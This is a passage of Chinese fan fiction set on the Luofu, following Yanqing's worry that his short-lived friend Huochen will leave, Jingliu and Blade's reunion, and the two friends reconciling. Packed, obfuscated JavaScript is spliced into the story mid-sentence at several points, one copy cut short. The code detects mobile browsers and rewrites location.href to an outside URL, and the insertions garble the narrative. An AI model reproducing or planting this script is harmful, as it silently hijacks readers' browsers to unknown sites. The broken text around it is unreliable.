“罗浮最近不太平啊……”火尘对面的人开口了,“好些人嚷嚷要走,你怎么想?” 彦卿一愣,看向火尘。 那个人脸上照旧是漫不经心的神色,好像对一切都不感兴趣,松松垮垮应了句“哦”。 “哦”,是要走?还是不走?但总归是赞同了“罗浮不太平”的说法,而且这是事实。 彦卿说不上心里什么滋味,犹豫片刻,没打招呼就离开了。 出了门,他走了两步,又回头。 你想回家吗,火尘。 彦卿想了想,觉得肯定是想的,就好像他在罗浮长大,就很难想象有朝一日罗浮没了,自己孤身一人去到陌生的地方。 如果真的发生了那样的事,大概会不分昼夜地思念故乡吧。 他也是在那一刻突然意识到,火尘是可以离开罗浮去别的星球定居的。 是短生种,本就不属于这里,限制长生种外流的禁令管不到,又拥有独自生活的能力——什么都会,像是不管在哪里都能生活得很好。 如果仙舟一直这样不太平,让火尘觉得不安全……他会走吗? 彦卿一边不安,一边又有些不忿。 他对这个宇宙并非没有了解,上过战场,见过被丰饶孽物侵占的星球是何模样,受训战略时也研究过不少星球毁灭的案例,那些星球或声势浩大、或无声无息,就这样在星际间失去了踪迹。 相比那些地方,我们罗浮不是安全多了,怎么还要走呢? 但幻胧带来的影响还未彻底消去,这话他根本没法理直气壮说出口。 不说就不说吧。 就多做一点事,不止做好云骑的本职工作,还要参与进战后各洞天秩序的恢复工作,等罗浮恢复往日平静了,自然能叫人安心留下来。 到今天丹鼎司的秩序已大致恢复,火尘也从未向他提起离开的事情,好像那只是再普通不过的闲聊,可在听到白露说火尘心里装着事时,彦卿依然第一时间想起了这件事。 是这件事吗? 你要走吗? 可以不走吗? 这担忧实在没什么根据,就像是在杞人忧天,他也不好跟火尘问——万一火尘都快忘记了,被他一问又想起来,岂不是弄巧成拙。 他这段时间总是弄巧成拙。 下星槎,到长乐天了,熙熙攘攘的人群嘈杂声传来,把彦卿拉回现实。 他站在叫卖声里发了会儿呆,直到离他最近的小吃摊主给他递吃食,彦卿晃神,有些不好意思,付钱道谢接过,三两口吃完,寻了个人少的地方继续发呆。 他在三余书肆前坐下,掏出蛋看一眼,看到照旧没有变化就塞回口袋——兴许今天动那一下已经很累了。 守护蛋像个大漏勺,把他的状态全漏出去。 他想起火尘问过他好多次,而他到现在都没想过把自己扩大的世界分享给火尘。 帮不上忙会让他很苦恼吧。 那个人总是离大家很远,站在人群边缘,似乎随时要离开;可他又一直在那里,不知不觉就和所有人联系在一起。 彦卿转头,他记得火尘家的方向,或者说,是火尘“正在住的屋子”的方向——如果对方并不把罗浮当家。 火尘总是说“与我无关”,但需要他帮忙的时候又都在场。 所以他要等完全恢复的时候再跟火尘说,好让对方那时能全无负担地为他高兴。 至于火尘的思乡之情…… 彦卿正拧着眉头想办法,广场边又传来嘈杂声,他闪身过去,正见到盲眼的小女孩听到声音,抬头冲他笑。 他快步到人身边蹲下,问:“怎么了?” 小鱼撇撇嘴,这不高兴的神态竟比平时生动许多,小声道:“老样子。” 彦卿转头看去,几个小孩站在一起哭嚎吵闹,见到他后暂时止住了,一只谛听蹲在小鱼脚边,大眼睛扑闪。 一个孩子弱声弱气告状:“彦卿大人,她放狗咬我们……” 彦卿转头,盯着他看,不说话,孩子声音在视线下渐轻渐小,最后低头,说不完下文。 几个小孩的家长来了,一见小鱼就知道怎么回事,按着小孩后脑勺:“快道歉!又欺负人家了是吧!” 彦卿站起来,冷声:“类似事情不是第一次发生了?” 上次也是这样,彼时火尘和地衡司的职员都在,用不着他说什么。现在无论如何都得说,否则小鱼这边都没有人站台了。 为首的家长认出了他,赔笑道:“……孩子小,不懂事,哈哈。” 彦卿不陪着笑,有些失望:“孩子小,更应该好生引导。” “是是,您说的是。” 彦卿叹气,知道三言两语改变别人还是不可能。 “快道歉!”家长凶狠一拍小孩脑袋。 领头的小孩张口看四周,看彦卿,最后看小鱼,很有些心不甘情不愿: “对不起……” 他真的知道自己错了吗?彦卿很怀疑,道完歉不教育,下次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17403782|199128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兴许还是老样子。 他正要叹气,却感觉小鱼抓着他裤腿的手紧了紧,往他身后藏了藏,可最后还是站出来: “我不要你道歉。” 小孩一愣。 彦卿也一愣。 “如果今天彦卿哥哥不在,你是不会道歉的。” 小鱼说话还是和以前一样,又轻又细,很平静: “我不要原谅你。” “我讨厌你。” 彦卿心头一震,看向小鱼,小姑娘面上显出超出年龄的成熟,同此前时常在眉眼间显出不安相比,现在简直像是变了一个人。 小鱼又拽他,抬头:“彦卿哥哥,小鱼请你吃东西,我们走吧。” 抬头时,额发往后散开,彦卿才注意到小鱼发间别了个水滴状的发卡——以前好像没有。 他在愣神,对面一群孩子家长也都愣神,而小鱼摸索着抓住他的手,把他从人群里带了出去,从容又潇洒,不管身后如何。 离开之后。 那个发卡水雾一样消散了,小鱼捂脸道歉: “对不起,彦卿哥哥,小鱼其实没有准备吃的东西,只是想找借口离开那里……” 一只新生的守护甜心飘到小鱼跟前,也正正好背对彦卿,叉腰道:“这有什么好道歉的啦,根本没有人怪你啊。” 接着转身看他:“对吧,彦卿哥哥。” “对。”彦卿笑。 眼前这显然是小鱼的守护甜心,那个蛋壳表面荡着一圈圈涟漪的守护蛋成功孵化了,就在刚才还完成了形象改造。 “你好厉害啊,小鱼,是什么时候孵化出来的?”他真心感叹,竖起大拇指,“小鱼刚才实在太厉害了,是我见过最勇敢最帅气最会表达自己的小朋友!” 大人的教育对那些人来说或许是常事,记吃不记打,小鱼的变化对他们来说才是一记警钟,这次之后,短时间内他们定然不敢再犯,到下次再来时,小鱼跟他们或许都不在一个层次上了。 小朋友被夸奖砸得晕乎乎的,脸都红了,就在她预备说什么的间隙,彦卿已经在旁边买了一堆零食抱过来: “好!我们来庆祝吧!庆祝小鱼的守护甜心诞生!” “啊?” 小鱼懵懵懂懂应,本来只是高兴而已,被彦卿带的也觉得这是值得庆祝的事了,越发高兴,只是:“不叫火尘哥哥来吗?” 呃。 他现在光是听到火尘的名字,脑子里就冒出来一堆“会走吗要走吗不能不走吗”的问题,一下卡壳。 但小鱼肯定希望火尘来。他正要联系,敏感的小姑娘已经抓住他,体贴道:“下次吧。” “彦卿哥哥和火尘哥哥吵架了?” 彦卿急忙道:“没有,这你不用担心。” 情绪被小孩子感觉出来了,可怕的小孩子。 她还想好了解决方法:“小鱼下次去找火尘哥哥庆祝,下下次去找白露庆祝……” 说到这里,“彦卿哥哥,她现在还是很忙吗?” “还在忙,但出来之后不会很快被人叫回去了。” 这是一个会让人绽放笑容的好消息。彦卿望着小鱼的笑脸想,今天收到的尽是好消息,然后自己也笑。 当天夜里,他收到还在丹鼎司的将军指示: 【彦卿,上次跟你说的那个任务,现在是时候了。】 39.朋友一生一起走 他总算明白将军为何把这个任务派给他了。 彦卿扶着栏杆往下看,下面两人正停下来叙话,他站在这里只看见一蓝一绿两个身影,倒也能听个大概。 是叫他与人同行,借以窥得饮月之乱的信息吧。 像他之前和白露大人说的,即使旁人不直接告诉他,他该知道的时候也自然会知道。这不,机会来了。 云上五骁,便是七百年前云骑军中的五位英雄:将军、镜流、丹恒先生的前身、那位叫白珩的狐人飞行士……还有一位。 彦卿数完,看看身后的造化洪炉,又联系将军之前的话,猜到身份,不知作何感想。 风流云散,大抵如此吧。 彦卿叹口气,继续扒栏杆往下看,孽物都斩了,那两人话还没说完。 怎么这么慢哪。 我可是很用心地给你们清场欸。 “应星?”他听见丹恒先生努力回想。 应星?是刃之前的名字吧,也就是云上五骁的最后一位。 那两人离他没多远,也就两段阶梯的距离,不刻意听也能听得一清二楚。 他听到那个大姐姐描述两人的友情,话音中有些许怀念,想起那也是大姐姐的友情,云上五骁是五个人嘛。 至于听到“以百岁之身学尽工造司技艺”的宏愿,这般野心倒是很对他胃口,只是在如今的刃身上已看不见了。 彦卿学大人唏嘘一阵,旋即想起火尘——一样是短生种,但火尘看起来像是要在摇椅上躺一辈子,晴天晒太阳,阴天吹风,碰上和煦的春天就吹着暖风打瞌睡。 真不错。 像应星那样是很厉害啦,但火尘现在就很好,他就乐意看火尘在摇椅上躺一辈子。 就这样莫名其妙来了兴致开始比较,又不由自主垮下脸来:对了,火尘想离开仙舟,他不一定能看火尘躺一辈子。 还不待他想更多,那两人就上来了。 他暂时不想这些,张口招呼,被对方噎了两句。 镜流站在他对面,黑纱遮眼只露出半张脸,说话时竟然还带着些不明显的笑意。彦卿有些挫败。 当日那一剑下来,杀意浸透他半个身子骨,如今这人站在他面前,看上去却全无杀心,可见他当日目睹的,甚至都非她真正的杀意。 不甘心。 真正的杀意有多可怕? 真正的实力有多强悍? 想和使出全力的镜流打一场。 这念头来得突然,他猛地一惊,反应过来后更觉自己不知死活,但无论如何都抹不去这个念头—— 想和使出全力的镜流打一场。 口袋里的守护蛋不知不觉已从温热转为刺骨的冷,外壳结了一层霜,散发着幽幽寒气,好像从蛋变成了冰块,在黑暗中光华流转。只是彦卿顾不上看,还在想: 他现在的实力还远远不够。 念头在脑海中一转,彦卿面上看只是一怔,就转移话题到正事上来,问是不是要接着祭拜。毕竟刚才在迴星港已经祭拜过那位狐人前辈了。 但他还心存疑惑。 他没有忘记那个星核猎手、通缉犯,在看到他学用的镜流那一剑时异样的反应——杀意骤起,说他只有死路一条。 最初在幽囚狱见到刃时,他就有很不好的感觉,那个人像是从尸山血海中走来,每一步都踩着无尽的尸骸。 竟是深恶痛绝的反应。为什么呢? 彦卿去思考别的事情了,守护蛋渐渐恢复常温。 一直到镜流和刃在显龙大雩殿打完,他听完那一通堪称惨烈的自述,看到刃的血肉确如他所说那般重新生长出来,一时无言。 疑惑解决了一部分,但似乎又冒出了更多问题。 云上五骁,便是抛开那些英雄光环,也应当是很好的朋友,是怎么走到这一步的? 饮月之乱的起因是实验事故,而实验是因为想要将阵亡入灭的战友带回人世…… 彦卿不好评价,想起白露的话:丹枫可真是个会给人添麻烦的家伙。 还有…… 丹恒先生来找他告别。 他问自己和现在的朋友以后会不会也四分五裂。 这问题问得不太对,彦卿只是自问,抬头看丹恒时一愣。 这位先生在他眼里总是不苟言笑,如今除了冷淡外,还多出几分不欲与人多言的憔悴。 他认得这个表情,一般火尘摆出这个表情就是想回去睡觉了。 彦卿不耽搁,立马道别,看到丹恒神色松下来,点点头离开,自己也松了一口气。 希望丹恒先生好好休息吧。 他又凑到将军那边,将军正望着镜流离开的方向。他在后面站了一会儿,将军就转头:“怎么?” 彦卿张嘴,又闭嘴,好半天没说出话来,景元看了好笑: “要说就好好说,我怎么不记得你几时这般扭捏?” 彦卿就直接问了: “将军伤心吗?” 这样问像个二愣子,但好在他问出来之后将军也跟着他发愣,两个二愣子。 “再伤心,七百年过去也该算完啦,”将军笑,转头看古海的波浪,那里已经空无一物,“比起那些,思考当下的应对之策会更为重要。” 当下的事啊。 彦卿懵懵懂懂接话:“镜流,和那位叫罗刹的异邦人,是在谋划什么呢?” 将军没接话。 他刚才被支开去押送罗刹,这会儿免不得想起那个人,还有他身边的……应该叫“棺材”? “那里面究竟装着什么?我早先见了,还当那是他的剑匣武器……” 这话一出,将军扭头看他,哭笑不得:“你莫不是还想过跟他‘碰一碰’,看他是怎么用‘剑匣’攻击的?” 彦卿摸摸脑袋——那人既与镜流同行,想来也有与镜流相当的实力,他也打不过,便有些底气不足:“想想而已嘛。”待他磨练一番再去挑战。 将军失笑,摇摇头:“幸亏你没这么做。” “那两人的事,你暂且别问了。” 彦卿点头:好嘛,又不告诉他。 将军叹口气,面向古海的潮水,像是在跟他说话,又像在自言自语: “瞧见了吗?彦卿,仙舟的局势就像这波浪,一波未平一波又起,不远的未来,整个星际都要有大动作,容不得人喘息,就更别说伤心了。” 可是一场大战刚胜利,仙舟重建工作已经大致完成,镜流也已移交联盟处理……这么快又要出大事吗? 彦卿隐隐感到不妙,却想不明白,只好说: “既然如此,将军更应该好好休息。”能休息的时候就好好休息,休息好了才能打更多胜仗。 将军无奈应:“是是是,彦卿说得对,我再站会儿就回去。” 好敷衍。 “你也有自己想做的事要做吧,比如解决刚才那个问题,”将军拍拍他肩膀,“比起找我们问,直接去找你的朋友们不是更好?” 彦卿:“……您听到了啊。” “我叫你来,是想亲身参与后,你能学到很多,”景元完全清楚自己徒弟的学习能力有多逆天,摇摇头,“可不想走这一趟,叫你对友情也悲观起来。” 彦卿在去找游山的路上,还在想将军最后的话: 【那是段不错的时光。】 即使再相见时大战一场,那也依然是段不错的时光。大概是这意思。 “唔……”好难懂。 他在返程路上碰见游山,把事情讲给游山听了,当然,模糊了与事人的身份名字,用的也是“我有一个朋友”的句式。 “彦卿,你知不知道,”游山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你说这话,是要走你师兄的老路吗?” “怎么可能。” 游山爬起来,拍拍身上的冰渣: “我本来想打一架,叫你没空想这些。”结果根本打不过。 他看向不远处坐在剑上、像是跟剑长到一起的人,想了想,还是开口: “彦卿。” “嗯?” “你拥有吸引人追随的特质,跟天赋无关,你这样的人,不必烦恼这种事情。” “老朋友没了,再去结交新朋友就好了。人就是这样来来往往的,只要适应了就无所谓。”一辈子风光无量、花团锦簇,这是他能想到的彦卿的未来。 听起来好悲伤。 彦卿跳下剑,落冰:“原来你思考过这些事啊。” 什么叫“原来我思考过”?会不会说话臭小子! 游山没好气,侧过脸:“看。” “看什么?”彦卿不明所以。 “持明的尖耳朵,”游山转回来,“你知道我族是轮回转世吧,这种事情,早在决心上战场那天就想好了。” “死去万事皆空,濒死则转世。” “转世之后,友情爱情,一切联系都要变为旧梦,新生的持明会拥有新的联系。” “或许某天我还是这样站在你面前,但已经不认识你了。你预备如何?” 一切联系从结下的瞬间开始,就注定会有断掉的一天。 彦卿没有设身处地想过持明族如何,这么一讲,他就想起白露,想起丹恒,想起面前的好朋友。 他不太确定,答:“再交一次朋友?” 游山咧嘴笑:“你是真小孩。” “干什么?”彦卿不乐意了,“不行啊。” “行,当然行,我在夸你呢。” “你自己都这么说了,那问题不就解决了,”联系没了,就再结下新的联系,“将来的事将来再说。” 彦卿若有所思。 “走了,哥请你吃饭,能喝酒吗?” “不能。” “切。” 40.火尘是特殊的 彦卿把他能找的朋友都找了一遍,得出结论:火尘是特殊的,他没法用对待其他朋友的方式对待火尘。 但他摸不清火尘哪里特殊。 彦卿想想,或许是因为他的朋友多数是云骑军,他知道其他人会留在仙舟,但他不知道火尘会去哪里。 火尘的家乡已经毁灭了。 他仔细思索,想起他中了卡芙卡的言灵那天,火尘在他面前掉眼泪,他以为火尘是因为害怕或气愤,后来问了,发现是想家。 确实受到了伤害,却不能怨恨任何人,这股没有具体目标的愤怒压在心里,在相似的场景中爆发。 彦卿想:我能为他做点什么吗? 他直接去找了人。 火尘今天在三余书肆看店,彦卿来时,这人正坐在柜台里打瞌睡。 “火尘,我最近解决了……好多桩心事!”他都不好数。 火尘撑腮看他,眼也不眨:“恭喜。” 彦卿进了书店,又拐进柜台,就好像对面有什么引他说话的特异功能,一坐下就说个没完,不过刚开口说两句就想起这里是书店,又闭嘴。 火尘好像笑了一下,回身跟刚找到一本新书的小老板打招呼: “隐书队长,我们出去一下。” 隐书无所谓地点点头,彦卿还没反应过来,就下意识跟着人转出去,在书肆边的长椅坐下后,火尘开口: “想说什么?直接说就是了。” 一下就被看出来了。 火尘这一点格外让人安心啊,彦卿想,虽然偶尔也让人提心吊胆,尤其是他想要隐瞒什么事情时。 现在是要说事,这一点就非常方便。 “火尘,我见到你好高兴。” 对面愣一下,笑骂:“有事说事,一上来就煽情是要干嘛?” 心情很好的样子。 彦卿心情也好起来,弯弯眼,挑着能说的部分说,把朋友们跟他说的话也都复述了一遍。 “你有几个朋友?”火尘突然问。 彦卿顺着话回头数,数一半嫌麻烦:“没数。” 火尘沉默片刻,说话慢下来: “你朋友说得不错。” “你拥有吸引人的特质,只要你依然是你,就不用担心会缺朋友。” 这话彦卿已经在游山那里听过一遍了,现在只是察觉到:火尘好像没有刚出来时那么高兴。 是他说错什么了? “我不担心会缺朋友啊,”彦卿接话,好像朋友们都没听懂他的重点,“我担心的是现在的朋友会离开我。” 大家教的都是朋友离开后怎么做,没有说怎么让现在的朋友不离开。 他居然现在才反应过来。 “没有这种办法,该离开的就是会离开,”火尘伸手戳他脸颊,“别人离开总是有很多理由的,不要都看作是自己的问题。” 戳完又掐,把他当小孩子哄。 彦卿想起纠结许久的事,转头看火尘,压着不高兴问: “所以你也会离开?不能一直留在这里吗?” 你离开仙舟之后去哪里呢?你去了别的星球,在类似的大灾中死掉了怎么办呢?我甚至可能收不到你的消息。 【一切联系都要变为旧梦,新生的持明会拥有新的联系。】 除了持明,短生种也要如此决绝地来一次“转世”?他可没听过这说法。 他问出来了,火尘也给出了回答,温柔的神态语气,却说出了这样的话: “我当然会离开,而且可能比他们都早。” “你能调整好的,你拥有这个能力。” * 彦卿跑了。 鼓着气跑的。 剑光在空中一闪而逝,周围人仰头见了依然赞一声天才剑客快意潇洒。 火尘望着天发呆。 他逃避许久的事情被彦卿一朝点出来,如今话都说清了理应感到轻松,心情却前所未有的沉重。 他不该这么说吗? 短生种的寿数,对长生种来说就跟小宠物差不多,彦卿一看就是那种宠物死时会哭得稀里哗啦的人。 早点说清楚对大家都好。 【不能一直留在这里吗?】 他倒是想。 火尘烦躁抓头发,延长寿命什么的,在仙舟上想这种事情可是严重违规。 可他从来没见过彦卿那副表情,难过生气又委屈,让被怒视的人觉得自己活该下十八层地狱,前后两生的功德都因为惹这个人伤心耗尽了。 啊啊,糟透了。 他游魂一样回到三余书肆,吓隐书一跳。 小队长谨慎地瞅他两眼,开口:“火尘,你的守护甜心呢?”黑化了吗。 “在这里。”小燃漫不经心举手,他一直在。 还好还好,没黑化。隐书松一口气,试探着道:“刚才有人在那边街市闹事,满口胡言的……地衡司的人已经去了,不确定是不是跟黑化蛋有关……” 火尘知道了:“我去看看。” “嗯嗯,如果是乌龙事件,你看完就直接下班吧,反正也快到点了。” 火尘点头,循着闹事的方向去。 其实他脑子里什么都没想,话也没听。 到地方看了,是一个自称将军兄弟的成年人在装疯卖傻蹭吃蹭喝,□□智清楚得很,跟黑化蛋没关系。 他转身要回去,小燃拦住他,把隐书的话复述了一遍。 哦,这样啊。 那他今天没事做了。 火尘停住,站在去往广场的阶梯中段发呆,人来人往的,他也没感觉。 “去找彦卿吗?”小燃问他。 火尘抱头蹲下:“不去。” “那回去睡觉?” “不回。” “吃点东西?” “不饿。” 小燃飞来飞去:“我饿了。” 他的主人给塞俩巡镝,压得他飞不起来:“自己去买。” 小燃落到地上,俩巡镝跟铺盖似的压着他,费老大劲才推开:“玉兆给我。” 火尘掏出来。 “解锁。” 像是操作输入对应指令才能行动的老式机巧,小燃来来回回终于点好单,和他的痴呆主人缩在楼梯口等外卖。 “火尘呐。” “嗯。” “我们吃完去找彦卿吧。” 火尘头埋得更低:“不去。” “你生气了?” “没有。” “我猜也是。” 外卖到了,他指挥主人去上面的亭子吃,风大,但有桌有凳,以前丹枢就爱待在上面弹琴。 火尘慢吞吞上去,慢吞吞把琴搬开,又慢吞吞开吃。 小燃:“你不是不吃吗?” “摆在面前了就想吃。” 小燃:这种事情上倒是诚实。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413365|199128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我觉得你还是去找一下彦卿比较好哦。”他说得委婉,作为火尘的守护甜心,火尘在想什么他自然一清二楚。 “我不敢。”比如现在这句。 火尘正处于把事情说开,等候审判的阶段,他们这段朋友关系是否结束,全看彦卿的反应。 他知道彦卿不在意什么长生短生。 但是,“也可能他之前是没想起来。” 没有种族歧视观念是一回事,过分专注于自己则是另一回事。 在彦卿的世界里,所有人被简单地分成三类:他可以叫“老师”的、他应该提防的、需要他保护的。 火尘在最后那一类里。 整个世界的时间都和缓地流动着,对彦卿露出温和的笑脸,而彦卿争分夺秒地成长着,想要快一点长大、快一点变强。 至于其他人的时间如何度过,他其实并不关心。 所以之前可能只是没想起来,现在这个话题被火尘挑到明面上了,就想起两人的时间并不对等,骁卫大人很负责任,或许会在严肃认真地思考过后,给出火尘并不想要的回复。 太糟了。 还有比这更糟的情况吗?有的,彦卿给出明确回复后就有了。 火尘收拾完餐盒,把琴搬回原位,继续发呆。 他不想拿素裳和桂乃芬的友情作比,那样有混淆概念的嫌疑,他纠结这么久,又不是不知道自己想要什么。 他可以说服自己彦卿没长那根筋,却不想这么早就断开联系。 这也太早太早了。 他想用余生注视这个人,觉得贪心就一点点缩,最后缩到三五年,他想至少三五年吧。 现在搞不好三五天都没有了。 火尘拎着餐盒起身,到家才发现自己拎着垃圾走了一路,叹气。 他游魂一样生活的三五天,罗浮上兴起一阵“以太战线”的风潮,公输师傅几百岁了,玩得相当起劲;火尘十几岁,打开手机就只会戳戳以太灵,然后匹配一场大败而归。 公输师傅看他蔫了吧唧的,给他派活干,火尘鱼都不摸,一件一件干完,然后问“还有吗”。 有点惊悚了。 “没事了,你玩去吧……” 火尘转头要走,许久不见的开拓者突然破门而入,和他对上视线: “来一场紧张刺激的以太灵决斗吧!” 他已经习惯开拓者神出鬼没情绪高涨,点头应下,又输了一场。 开拓者赢了,心情很好地在怀里掏了掏,掏出一个东西塞给他:“彦卿给你的。”就欢快地跑远了。 火尘原本还在看塞的什么,听了话险些没拿住给摔了,慌慌张张好歹没摔。 彦卿给我的? 手里的东西看着像书签,他在三余书肆里见过不少,一般用来储存幻戏,用玉兆靠近读取就行…… 师父凑过来看,火尘取出玉石刷了一下,一副画面显露在眼前:奇特的地貌、奇特的天空,像某个陌生星球的全景。 影像只持续了五秒钟。 没头没尾的,公输师傅摸不着头脑,转头,却瞧见自己徒弟浑身发抖、面色惊惶,不由大惊失色:“怎么了这是?” 火尘没什么事,他只是认出来了。 虽然只有五秒钟,虽然和过去他居住的地方不一样,但他认出来了:漆黑的烟尘,红色的天空——他的家乡。 他转身往外跑,迫切地想要见到彦卿。 41.想问很多 他急匆匆跑到神策府后门,跑得心脏狂跳,门房见了他的木牌就给他引路,引到院子里。 彦卿在院中与人对弈,盘腿坐,坐姿端正,全副心神都在眼前棋盘上,下午昏黄的光打在金发上,灿灿亮,又很柔和。 彦卿复刻了一个家乡送给他。 火尘盯着人发了会儿愣,偏头时正撞上棋盘对面的视线——弟子拧着眉头冥思苦想,神策将军却好整以暇、饶有兴致看向这边,笑着对他点点头。 火尘赶紧回礼,又低头,视线不再乱瞟,门房搬了把椅子给他,他坐旁边,等那两人下完棋。 如果说送礼是一门学问,那彦卿显然是个中高手,前前后后送的礼物没有一样是他不喜欢的,这次更是令人惊喜。 他都不知道这人是怎么想到的。 终于—— 将军胜,打趣道:“棋差一着啊。” 彦卿没被糊弄,吐槽自己:“是差很多着吧。” 说着就起身,转头,正看见他。 火尘僵住,准备好的话卡在喉咙里。 却见彦卿输棋的情绪一扫而空,本就精致的脸霎时现出明亮的光彩,照得人心慌意乱: “火尘!” 喊这一声跟平时一样,他诡异地安定下来。 彦卿已经走到他面前,他随着距离拉近慢慢仰头,看到那双漂亮的金瞳里确实全无阴霾,彦卿一如既往小嘴叭叭:“我刚才还在想,如果今天你不来找我,那明天我就去找你。” “……唔、哦。” 火尘不知该怎么回才好,竭力想看出彦卿身上不对劲的地方,但是看不出来。 他记得彦卿那天生气了,他得先道歉——虽然不觉得自己哪里说错,也不明白彦卿为什么生气,但他不想彦卿一直生自己的生气; 他还想问彦卿送的那部幻戏是什么意思,是如何设计出与他家乡场景一般无二的交感幻戏,连风声都这么清晰; 见到彦卿之后,他又想问彦卿有没有空听他说话,是不是还伤心,守护蛋怎么样,对他又怎么想…… 有好多话想说,但都没说出来,因为: “来都来了,也差不多到饭点了,先吃饭吧。”将军笑眯眯。 火尘保证自己不是专挑饭点来的,神策将军表示理解,依然热情邀请,他不好拒绝,就接受了。 彦卿看起来很高兴。 心里装着太多事,他以为自己会食不知味,结果彦卿就坐在他旁边吃吃吃,他也就跟着吃吃吃,还挺好吃。 饭桌上没有什么食不言的严格规矩,但一个将军一个云骑骁卫,好像都习惯了吃饭不讲话;不过就算能讲话,他那些话在饭桌上也说不出来,将军还在呢。火尘埋头苦吃。 彦卿吃得很快,吃完还帮他喂小燃。守护甜心坐在盘子边“啊——”地张口等投喂,悠哉得好像这是他自己家,跟心乱如麻的主人对比鲜明。 “原来如此,这位也是现役守护者。”将军也吃完了,看自己徒弟投喂空气。 “是啊将军,”彦卿连连点头,“火尘很厉害的!” 火尘急忙扒完最后两口,放下筷子——不知道这两人怎么吃的,看着慢条斯理,食物却消灭得很快。 他鼓着腮帮子咀嚼,拍开脸颊边彦卿蠢蠢欲动的手,听到将军笑了一声,招呼: “彦卿,我先去书房,你一会儿记得过来。” “是,彦卿记得。” 火尘可算咽完食物,听到这话愣住:“你一会儿要做什么?” “受训战略,”彦卿歪头想想,“今天大概是看一卷云骑军对步离人的作战记录……一般要当堂写一篇策论交给将军,将军明日再给我分析。” 火尘顿住:“晚自习?” “唔、对,”彦卿乐,“你从哪里想到这么些奇妙比喻……我喂完小燃就去了。” “我有话跟你说。” 这话出得急切,他说完却有些无力,一下就理智回笼,知道自己来的多不是时候。 他低头,小燃开始自己吃了,依然慢速又专注,也不抬头看他。 激情没了,退缩的心就慢慢爬升。 却听到彦卿问:“今天就想说?” 他沉默,点头。 “现在说得出来吗?你说完我再去找将军。” …… 那么点时间哪里够嘛。 他也不知道自己哪里来这么大脾气和委屈,明明来的时候想的是要道歉、要道谢、要嘘寒问暖、要想彦卿所想,可一感受到彦卿确实停留在他身上的目光,就想闹脾气了。 我整整五天没见你。 如果你没生气,就拜托不要不理我。 如果你生气了,也拜托你直截了当说出来。 我很想念你。 我想知道你介不介意我是短生种、愿不愿意和我结成长久的联系; 如果介意、不愿意,那我想知道你介不介意我在远处观望你、会不会觉得奇怪。 除了这些,还有在路上想的那些,在饭桌上想的那些,三五天里想的那些……全部都想说出来。 这么点时间哪里够他说的。 他就是很委屈,低头吸鼻子。彦卿弯腰看过来,探头探脑十分可爱,大概是以为他哭了,还伸手摸摸他眼下。 没摸到水痕就直起身,语调欢快:“这样吧火尘……” “你今天在这里住下来吧。” …… ? 轻飘飘的一句,却好似将军的神雷已经劈到他跟前,火尘问话时声音都在发颤:“……啊?” “我说,你要不要住下来?这样说一整晚都没问题,就跟我一个屋……唔,我去收拾一下。” 他脑子卡了,亦步亦趋跟到彦卿身后,进了屋子被亮灯瞬间晃了下眼,回神时彦卿已经站在墙边,比划着要挪动靠墙放的三个剑架,他急忙过去帮忙。 就这样还没应声就已经被带着行动了,三个剑架挪完,可算在这满是剑的屋子腾出空位。 火尘环顾四周:还真是堆满剑的屋子,连床头都放着剑。 彦卿拖来一张矮榻,比床矮,尺寸也比床小一些,正正好卡进去。 让客人睡这种地方,似乎不太合神策府的待客之道。彦卿有些局促,试探着问:“凑合一晚?” 火尘慢半拍应:“挺好的。” 主人家挪都挪完了,这种时候说要回去未免太不给情面;而且彦卿只是想到了一个很好的解决办法,没有拒绝的理由。 彦卿得了他肯定又高兴起来,转手抱出几床被褥,叠得都看不到人了:“火尘,你看这些够吗……” 这怎么好意思……! 他着急又脸热:“我自己来!我会这个!将军在书房等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17417869|199128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你了,你该过去了!” 彦卿一想也是,把被子往榻上一放,拍拍手:“那我走了。” “嗯。” “万一我回来的时候你睡着了怎么办?” “那你就叫醒我。” “那万一你有起床气怎么办?” 火尘睁眼,没错过彦卿眼底的笑意,自己也跟着笑起来:“没有这种东西,有也不会对你发作的。” 彦卿笑得更明显,转身出门。 两个人都没提那天的事,像什么都没发生一样相处着,大概是等着一会儿说。 一会儿、一会儿……啊——! 一会儿怎么办! 小燃:又在发癫了。 火尘闲不住,推开门看看,院子里寂静无人。 早先看彦卿那个样子,觉得他应该是被很多人照顾着的,而且还有将军在,也需要人处理一些生活琐事,所以神策府内总该有些侍从,就像白露大人也有侍女。 火尘探头,左看右看。 